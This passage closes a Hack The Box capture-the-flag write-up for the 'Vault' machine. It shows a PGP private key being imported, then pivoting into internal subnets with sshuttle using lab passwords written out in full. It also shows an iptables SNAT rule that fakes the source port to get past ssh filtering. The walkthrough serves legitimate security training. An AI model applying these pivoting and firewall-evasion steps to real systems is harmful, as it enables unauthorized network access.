> K/JK1DLqJFbgfVibegDR9f6WV+dc8NI=
> =cDCf
> -----END PGP PRIVATE KEY BLOCK-----
> EOF
After that, we need to import the key on Vault.
dave@vault:~$ gpg --allow-secret-key-import --import key
gpg: key 0FDFBFE4: secret key imported
gpg: key 0FDFBFE4: public key "david <dave@david.com>" imported
gpg: Total number processed: 1
gpg: imported: 1 (RSA: 1)
gpg: secret keys read: 1
gpg: secret keys imported: 1
Finally, we’re ready to decrypt the file using gpg
.
dave@vault:~$ gpg -d root.txt.gpg
-------------8<-------------
\o/ - access level: root.txt read
This write-up covered the manual way of setting up tunnels and getting traffic where it needs to go. It’s incredibly beneficial to understand how to do that without specialized tools. However, it’s also nice to see how easy a task can be with a good tool. sshuttle is described by its creator as a “transparent proxy server that works as a poor man’s VPN. Forwards over ssh. Doesn’t require admin. Works with Linux and MacOS. Supports DNS tunneling.” Let’s see sshuttle in action!
Before we get started, we need to install sshuttle
.
apt-get install sshuttle
With that complete, let’s set up the equivalent of our SOCKS proxy and forward tunnel. The command below blocks, meaning we must execute subsequent commands in separate terminals.
sshuttle -r dave@10.10.10.109 192.168.122.0/24
══════════════════════════════════════════════
dave@10.10.10.109's password: Dav3therav3123
client: Connected.
sshuttle options used:
-r
The remote hostname and optional username and ssh port number to use for connecting to the remote server.
SUBNET
A list of subnets to route over the VPN, in the form a.b.c.d[/width][port[-port]].
That’s it! After running the command above, we can browse directly to the website on 192.168.122.4 (without the use of burp or foxyproxy). We can also reach out and ssh directly to 192.168.122.4.
Next, we can set up sshuttle
to route to Vault’s network.
sshuttle -r dave@192.168.122.4 192.168.5.0/24
═════════════════════════════════════════════
dave@192.168.122.4's password: dav3gerous567
client: Connected.
Now we can reach out and talk to Vault’s ssh server directly from kali. Our only issue now is that we still need to hit Vault’s ssh server using a source port of 53 or 4444. We can solve this problem without using netcat. We’ll log in to DNS and create an iptables
rule that transforms our real source port to one of our choosing.
First, from kali, we can now directly ssh to DNS.
ssh dave@192.168.122.4
dave@192.168.122.4's password: dav3gerous567
-------------8<-------------
After that, we’ll set up our iptables
rule.
sudo iptables -t nat -A POSTROUTING -p tcp --dport 987 -j SNAT --to-source :4444
The rule above essentially says anytime you see a packet come through that’s TCP and has a destination port of 987, change the source port to be 4444. With this rule in place, we can ssh directly to Vault from kali. scp
directly from kali is an option to grab the root.txt.gpg file as well.
┌(kail)─(✗)─(06:58 PM Wed Mar 20)
└─(vault)─> ssh dave@192.168.5.2 -p 987
dave@192.168.5.2's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
-------------8<-------------
Last login: Mon Sep 3 16:48:00 2018
dave@vault:~$
The rule above affects other players, so let’s be courteous and remove it.
sudo iptables -t nat -D POSTROUTING 1
sshuttle
does a ton of the heavy lifting for us; it’s certainly a helpful tool to know.
I hope you enjoyed this write-up or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.